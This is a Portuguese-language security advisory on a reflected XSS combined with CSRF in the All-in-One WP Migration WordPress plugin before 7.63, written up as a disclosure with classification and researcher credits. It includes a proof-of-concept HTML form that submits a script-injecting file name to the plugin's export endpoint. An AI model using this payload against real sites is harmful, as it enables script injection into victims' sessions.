All-in-One WP Migration < 7.63 - Unauthenticated Reflected XSS + CSRF
Descrição
O plug-in usa o tipo de conteúdo incorreto para uma resposta em JSON e não trata adequadamente o nome do arquivo de exportação, permitindo que um invasor crie uma solicitação que, quando enviada por qualquer visitante, injetará HTML ou JavaScript arbitrário na resposta que será executada na sessão da vítima.
Prova de Conceito (POC)
Para reproduzir a falha, podemos exportar todo o conteúdo do site pelo plugin e inserir um nome inválido no arquivo de saída.
Atacante
Validando a vulnerabilidade, é possível combinar o ataque com um CSRF, que irá forçar o navegador da vítima a enviar uma requisição com o nosso payload.
Vítima
Código
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST"> <!-- Note: The secret key must be obtained through other means. It is stored in the site option `ai1wm_secret_key`, but is static for the lifetime of the site. --> <input type="hidden" name="secret_key" value="[secret_key]"> <input type="hidden" name="ai1wm_manual_export" value="1"> <input type="hidden" name="archive" value="<img src=x onclick=alert('XSS')>"> <input type="submit" value="Get rich!"> </form>
Versões afetadas
All-in-One WP Migration < 7.63
Referências
Classificação
Type: Cross-Site Scripting
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Pesquisadores/Hackers
Vinicius Pereira (Vini), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Hudson Nowak (Nowak), Geovanni Campos (GeoZIN) e Guilherme Acerbi (Ghost).